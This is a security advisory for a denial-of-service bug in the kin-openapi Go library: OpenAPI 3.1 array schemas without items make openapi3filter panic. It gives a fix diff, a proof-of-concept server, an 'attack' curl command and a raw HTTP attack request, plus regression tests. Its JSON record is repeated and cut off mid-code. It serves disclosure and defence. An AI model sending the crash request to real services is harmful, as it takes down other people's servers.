GHSA-P6WJ-QRR4-PGH5

Vulnerability from github – Published: 2026-10-15 20:14 – Updated: 2026-10-15 20:14
VLAI
Summary
kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
Details

Summary

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

case propType.Is("array"):
    items := propSchema.Value.Items.Value  // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

Path Location Trigger
MultipartBodyDecoder req_resp_decoder.go ~1564 → 1579 multipart/form-data part named like the array property
parseArray → parsePrimitive req_resp_decoder.go ~1129 / 1151 Array-typed response headers via ValidateResponse, and path/cookie array params

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

 case propType.Is("array"):
+   if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+       return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+   }
    items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:

openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}

2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

package main

import (
    "fmt"
    "log"
    "net/http"
    "strings"

    "github.com/getkin/kin-openapi/openapi3"
    "github.com/getkin/kin-openapi/openapi3filter"
    "github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

func main() {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(spec))
    if err != nil {
        log.Fatal(err)
    }
    if err := doc.Validate(loader.Context); err != nil {
        log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
    }
    fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
        Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

    router, err := gorillamux.NewRouter(doc)
    if err != nil {
        log.Fatal(err)
    }

    // Direct call (no net/http recover): proves the library itself panics.
    req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    route, pp, _ := router.FindRoute(req)
    func() {
        defer func() {
            if r := recover(); r != nil {
                fmt.Printf("DIRECT_PANIC: %v\n", r)
            }
        }()
        _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
            Request: req, PathParams: pp, Route: route,
            Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
        })
        fmt.Println("DIRECT_PANIC: none (unexpected)")
    }()

    mux := http.NewServeMux()
    mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
        route, pathParams, err := router.FindRoute(r)
        if err != nil {
            http.Error(w, err.Error(), http.StatusNotFound)
            return
        }
        err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
            Request: r, PathParams: pathParams, Route: route,
            Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
        })
        if err != nil {
            http.Error(w, err.Error(), http.StatusBadRequest)
            return
        }
        w.WriteHeader(http.StatusOK)
        _, _ = w.Write([]byte("ok\n"))
    })

    addr := "127.0.0.1:8085"
    fmt.Printf("listening on http://%s/f\n", addr)
    fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
    log.Fatal(http.ListenAndServe(addr, mux))
}

3. Observed output (go run .):

SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

package openapi3filter_test

import (
    "bytes"
    "context"
    "fmt"
    "io"
    "mime/multipart"
    "net/http"
    "net/http/httptest"
    "strings"
    "testing"

    "github.com/stretchr/testify/require"

    "github.com/getkin/kin-openapi/openapi3"
    "github.com/getkin/kin-openapi/openapi3filter"
    "github.com/getkin/kin-openapi/routers/gorillamux"
)

const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /hdr:
    get:
      responses:
        '200':
          description: ok
          headers:
            X-Tags:
              schema: {type: array}
`

func catchPanic(fn func()) (panicValue any) {
    defer func() { panicValue = recover() }()
    fn()
    return nil
}

func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
    require.NoError(t, err)
    require.NoError(t, doc.Validate(loader.Context))
    schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
        Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
    require.True(t, schema.Type.Is("array"))
    require.Nil(t, schema.Items)
}

func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
    require.NoError(t, err)
    require.Error(t, doc.Validate(loader.Context))
}

func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
    require.NoError(t, err)
    require.NoError(t, doc.Validate(loader.Context))
    router, err := gorillamux.NewRouter(doc)
    require.NoError(t, err)

    req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
    require.NoError(t, err)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    route, pathParams, err := router.FindRoute(req)
    require.NoError(t, err)

    got := catchPanic(func() {
        _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
            Request: req, PathParams: pathParams, Route: route,
            Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
        })
    })
    require.NotNil(t, got)
    require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(multipartSpec31))
    require.NoError(t, err)
    require.NoError(t, doc.Validate(loader.Context))
    router, err := gorillamux.NewRouter(doc)
    require.NoError(t, err)

    var buf bytes.Buffer
    w := multipart.NewWriter(&buf)
    require.NoError(t, w.WriteField("tags", "a"))
    require.NoError(t, w.Close())

    req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
    require.NoError(t, err)
    req.Header.Set("Content-Type", w.FormDataContentType())
    route, pathParams, err := router.FindRoute(req)
    require.NoError(t, err)

    got := catchPanic(func() {
        _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
            Request: req, PathParams: pathParams, Route: route,
            Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
        })
    })
    require.NotNil(t, got)
    require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
    require.NoError(t, err)
    require.NoError(t, doc.Validate(loader.Context))
    router, err := gorillamux.NewRouter(doc)
    require.NoError(t, err)

    req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
    require.NoError(t, err)
    route, pathParams, err := router.FindRoute(req)
    require.NoError(t, err)

    got := catchPanic(func() {
        _ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
            RequestValidationInput: &openapi3filter.RequestValidationInput{
                Request: req, PathParams: pathParams, Route: route,
                Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
            },
            Status: http.StatusOK,
            Header: http.Header{"X-Tags": []string{"a,b"}},
            Body:   io.NopCloser(strings.NewReader("")),
        })
    })
    require.NotNil(t, got)
    require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
    require.NoError(t, err)
    require.NoError(t, doc.Validate(loader.Context))
    router, err := gorillamux.NewRouter(doc)
    require.NoError(t, err)

    var panicCount int
    mux := http.NewServeMux()
    mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
        defer func() {
            if recover() != nil {
                panicCount++
                http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
            }
        }()
        route, pathParams, err := router.FindRoute(r)
        require.NoError(t, err)
        err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
            Request: r, PathParams: pathParams, Route: route,
            Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
        })
        if err != nil {
            http.Error(w, err.Error(), http.StatusBadRequest)
            return
        }
        w.WriteHeader(http.StatusOK)
    })

    srv := httptest.NewServer(mux)
    t.Cleanup(srv.Close)

    const n = 5
    for i := 0; i < n; i++ {
        resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
        require.NoError(t, err)
        _, _ = io.ReadAll(resp.Body)
        _ = resp.Body.Close()
        require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
    }
    require.Equal(t, n, panicCount)
}

func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
    loader := openapi3.NewLoader()
    doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
    require.NoError(t, err)
    require.NoError(t, doc.Validate(loader.Context))
    router, err := gorillamux.NewRouter(doc)
    require.NoError(t, err)

    const attempts = 50
    panics := 0
    for i := 0; i < attempts; i++ {
        req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
        require.NoError(t, err)
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        route, pathParams, err := router.FindRoute(req)
        require.NoError(t, err)
        if catchPanic(func() {
            _ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
                Request: req, PathParams: pathParams, Route: route,
                Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
            })
        }) != nil {
            panics++
        }
    }
    require.Equal(t, attempts, panics)
}

Observed results on the vulnerable tree:

  • 3.1 accepts the schema (Items == nil); 3.0 rejects it
  • urlencoded, multipart, and response-header paths all panic with nil pointer dereference
  • 50/50 panic rate (100% deterministic)
  • E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500

Impact

  • Type: NULL Pointer Dereference → unauthenticated remote denial of service.
  • Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1.
  • Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
  • Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash.
  • Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.136.0"
            },
            {
              "fixed": "0.143.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-97394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:14:54Z",
    "nvd_published_at": "2026-10-15T16:18:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.\n\n### Details\n\n**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.\n\n**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):\n\n```go\ncase propType.Is(\"array\"):\n    items := propSchema.Value.Items.Value  // Items == nil \u2192 panic\n```\n\nThis runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).\n\nThe same nil `Items` also crashes:\n\n| Path | Location | Trigger |\n|---|---|---|\n| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 \u2192 1579 | `multipart/form-data` part named like the array property |\n| `parseArray` \u2192 `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |\n\n`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.\n\n**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:\n\n```diff\n case propType.Is(\"array\"):\n+\tif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {\n+\t\treturn nil, fmt.Errorf(\"unsupported schema of request body\u0027s property %q: array items required for decoding\", propName)\n+\t}\n \titems := propSchema.Value.Items.Value\n```\n\nApply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.\n\n### PoC\n\nVerified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.\n\n**1. Spec** \u2014 OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:\n\n```yaml\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        \u0027200\u0027: {description: ok}\n```\n\n**2. E2E program** \u2014 `net/http` server using the same public entrypoint (`gorillamux` \u2192 `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tlog.Fatalf(\"doc.Validate rejected (unexpected for 3.1): %v\", err)\n\t}\n\tfmt.Println(\"SPEC_ACCEPTED; Items ==\", doc.Paths.Value(\"/f\").Post.RequestBody.Value.\n\t\tContent.Get(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value.Items)\n\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Direct call (no net/http recover): proves the library itself panics.\n\treq, _ := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pp, _ := router.FindRoute(req)\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Printf(\"DIRECT_PANIC: %v\\n\", r)\n\t\t\t}\n\t\t}()\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pp, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tfmt.Println(\"DIRECT_PANIC: none (unexpected)\")\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"ok\\n\"))\n\t})\n\n\taddr := \"127.0.0.1:8085\"\n\tfmt.Printf(\"listening on http://%s/f\\n\", addr)\n\tfmt.Println(\"attack: curl -X POST -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 --data \u0027tags=a\u0027 http://\" + addr + \"/f\")\n\tlog.Fatal(http.ListenAndServe(addr, mux))\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nSPEC_ACCEPTED; Items == \u003cnil\u003e\nDIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference\nlistening on http://127.0.0.1:8085/f\n```\n\nThen:\n\n```\ncurl -X POST -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 --data \u0027tags=a\u0027 http://127.0.0.1:8085/f\n```\n\nServer log:\n\n```\nhttp: panic serving 127.0.0.1:\u2026: runtime error: invalid memory address or nil pointer dereference\n\u2026 openapi3filter.UrlencodedBodyDecoder \u2026/req_resp_decoder.go:1421\n\u2026 openapi3filter.ValidateRequest \u2026\n```\n\nStack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` \u2192 `ValidateRequestBody` \u2192 `decodeBody`.\n\n**Attack request:**\n\n```\nPOST /f HTTP/1.1\nHost: victim\nContent-Type: application/x-www-form-urlencoded\n\ntags=a\n```\n\n(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)\n\n**4. Regression / multi-surface test suite** \u2014 save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst urlencodedSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nconst urlencodedSpec30 = `\nopenapi: 3.0.3\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nconst multipartSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nconst responseHeaderSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /hdr:\n    get:\n      responses:\n        \u0027200\u0027:\n          description: ok\n          headers:\n            X-Tags:\n              schema: {type: array}\n`\n\nfunc catchPanic(fn func()) (panicValue any) {\n\tdefer func() { panicValue = recover() }()\n\tfn()\n\treturn nil\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\tschema := doc.Paths.Value(\"/f\").Post.RequestBody.Value.Content.\n\t\tGet(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value\n\trequire.True(t, schema.Type.Is(\"array\"))\n\trequire.Nil(t, schema.Items)\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec30))\n\trequire.NoError(t, err)\n\trequire.Error(t, doc.Validate(loader.Context))\n}\n\nfunc TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(multipartSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"tags\", \"a\"))\n\trequire.NoError(t, w.Close())\n\n\treq, err := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(responseHeaderSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodGet, \"/hdr\", nil)\n\trequire.NoError(t, err)\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateResponse(loader.Context, \u0026openapi3filter.ResponseValidationInput{\n\t\t\tRequestValidationInput: \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t},\n\t\t\tStatus: http.StatusOK,\n\t\t\tHeader: http.Header{\"X-Tags\": []string{\"a,b\"}},\n\t\t\tBody:   io.NopCloser(strings.NewReader(\"\")),\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar panicCount int\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer func() {\n\t\t\tif recover() != nil {\n\t\t\t\tpanicCount++\n\t\t\t\thttp.Error(w, \"panic in ValidateRequest\", http.StatusInternalServerError)\n\t\t\t}\n\t\t}()\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\trequire.NoError(t, err)\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(mux)\n\tt.Cleanup(srv.Close)\n\n\tconst n = 5\n\tfor i := 0; i \u003c n; i++ {\n\t\tresp, err := http.Post(srv.URL+\"/f\", \"application/x-www-form-urlencoded\", 